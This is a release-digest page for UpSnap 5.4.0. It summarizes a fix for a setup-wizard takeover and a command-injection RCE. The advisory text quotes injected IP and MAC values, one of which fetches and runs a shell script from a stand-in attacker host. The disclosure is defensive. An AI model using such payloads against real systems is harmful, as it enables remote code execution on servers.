This release includes 2 security fixes for security teams reviewing exposed deployments.
Topics
Affected surfaces
ReleasePort's take
Moderate signalThe release fixes a remote code execution vulnerability by validating device IP and MAC address inputs.
Why it matters: Patches RCE via input validation; critical for all deployments using device command execution (severity 95).
Summary
AI summaryUpdates What was fixed, New Setup Process https://github.com/seriousm4x/UpSnap/security/advisories/GHSA-w4jr-728f-5jhq, and Others across a mixed release.
Changes in this release
| Type | Severity | Summary | CVE |
|---|---|---|---|
| Security | Critical |
Fixes RCE via device IP and MAC address injection by validating inputs. Fixes RCE via device IP and MAC address injection by validating inputs. Source: llm_adapter@2026-05-26 Confidence: high |
— |
| Breaking | High |
Changes initial setup to require console‑log superuser link instead of wizard. Changes initial setup to require console‑log superuser link instead of wizard. Source: llm_adapter@2026-05-26 Confidence: high |
— |
| Dependency | Low |
Updates @sveltejs/kit from 2.59.1 to 2.60.1 in frontend. Updates @sveltejs/kit from 2.59.1 to 2.60.1 in frontend. Source: llm_adapter@2026-05-26 Confidence: high |
— |
| Dependency | Low |
Updates svelte from 5.55.5 to 5.55.7 in frontend. Updates svelte from 5.55.5 to 5.55.7 in frontend. Source: llm_adapter@2026-05-26 Confidence: high |
— |
| Dependency | Low |
Updates other dependencies in frontend. Updates other dependencies in frontend. Source: llm_adapter@2026-05-26 Confidence: low |
— |
| Bugfix | Medium |
Validates IP and MAC addresses to prevent RCE in device commands. Validates IP and MAC addresses to prevent RCE in device commands. Source: llm_adapter@2026-05-26 Confidence: low |
— |
| Bugfix | Medium |
Implements token‑based superuser setup via console logs. Implements token‑based superuser setup via console logs. Source: llm_adapter@2026-05-26 Confidence: low |
— |
Full changelog
[!NOTE]
UpSnap is, and always will be, free and open source software.
If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.
The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.
New Setup Process
https://github.com/seriousm4x/UpSnap/security/advisories/GHSA-w4jr-728f-5jhq
What changed
The initial setup process has been changed. Instead of a built-in multi-step wizard, UpSnap now directs you to create your first superuser account via the server console logs, which contain a one-time setup link generated by PocketBase.
Once you've created the superuser using that link, return to the UpSnap welcome page and click Done to continue.
Why this was necessary
In versions prior to 5.4.0, the setup wizard allowed anyone with network access to register the first superuser account if they reached the setup page before the legitimate administrator. This meant that on a publicly reachable instance, an attacker could take ownership of the application before the real admin had a chance to complete the setup.
By moving account creation out-of-band to the server console, only someone with access to the server logs (i.e. the administrator) can complete the initial setup.
[!NOTE]
If you have sucessfully completed the initial setup in the past you are not affected.
RCE via Device IP and MAC Address Injection
https://github.com/seriousm4x/UpSnap/security/advisories/GHSA-6mc7-6948-w5h4
What was the issue
UpSnap allows setting custom shell commands for waking and shutting down devices. These commands support {{ DEVICE_IP }} and {{ DEVICE_MAC }} placeholders, which are replaced with the device's actual IP and MAC values before being executed on the server.
In versions prior to 5.4.0, these values were only changed by removing spaces before being substituted into the shell command. An attacker with permission to edit a device could set a malicious IP or MAC field, for example:
IP: 127.0.0.1;curl${IFS}http://attacker.com/shell.sh|sh
MAC: 00:00:00:00:00:00&&id
When the device was woken or shut down, the injected commands would execute on the server with the same privileges as UpSnap itself.
What was fixed
-
Backend: Before substituting
{{ DEVICE_IP }}and{{ DEVICE_MAC }}into any shell command, UpSnap additionally validates both values using Go's standardnet.ParseIPandnet.ParseMAC. If a value somehow reaches this point in an invalid state, the command is rejected and an error is returned instead of executing. -
Database: A new migration adds regex constraints to the ip and mac fields in the PocketBase schema (
^((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}$for IP,^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$for MAC). Any write that bypasses the UI is rejected at the database level. -
HTML input: The IP and MAC fields in the device form now have pattern attributes that enforce valid formats directly in the browser, preventing malformed values from being submitted in the first place.
Who is affected
Any instance where untrusted users had permission to create or edit devices. Users who are the sole administrator of their own instance and have not shared device-edit access are at lower risk.
Changelog
Bug fixes
- 74633e7f240a565c407f4fe4a9f8cdc974494d7b: fix: use token based superuser setup (@seriousm4x)
- 43f3f65d65b9e2e420136dfa16124392b073ae0f: fix: validate ip and mac addresses to prevent RCE (@seriousm4x)
Others
- dfaf0eec59a4028a66b3068d2634779f30cc8156: build(deps-dev): bump @sveltejs/kit from 2.59.1 to 2.60.1 in /frontend (@dependabot[bot])
- 8b08585cede1528537d307280fa74488b6b0fd71: build(deps-dev): bump svelte from 5.55.5 to 5.55.7 in /frontend (@dependabot[bot])
- 92f9e295d5f761d874a6701245b2e38dc42cb85a: update deps (@seriousm4x)
Breaking Changes
- Initial setup process changed: must now create the superuser via a one‑time link shown in server console logs instead of using the built‑in wizard.
Security Fixes
- GHSA-6mc7-6948-w5h4 — RCE via malicious DEVICE_IP or DEVICE_MAC injection fixed by strict validation (net.ParseIP/net.ParseMAC), database regex constraints, and browser pattern enforcement.
- GHSA-w4jr-728f-5jhq — Setup wizard vulnerability that allowed arbitrary superuser registration removed; setup now requires console‑generated link.
Weekly OSS security release digest.
The CVE patches and breaking changes that affected production tools this week. One email, every Sunday.
No spam, unsubscribe anytime.
Share this release
Related context
Related tools
Beta — feedback welcome: [email protected]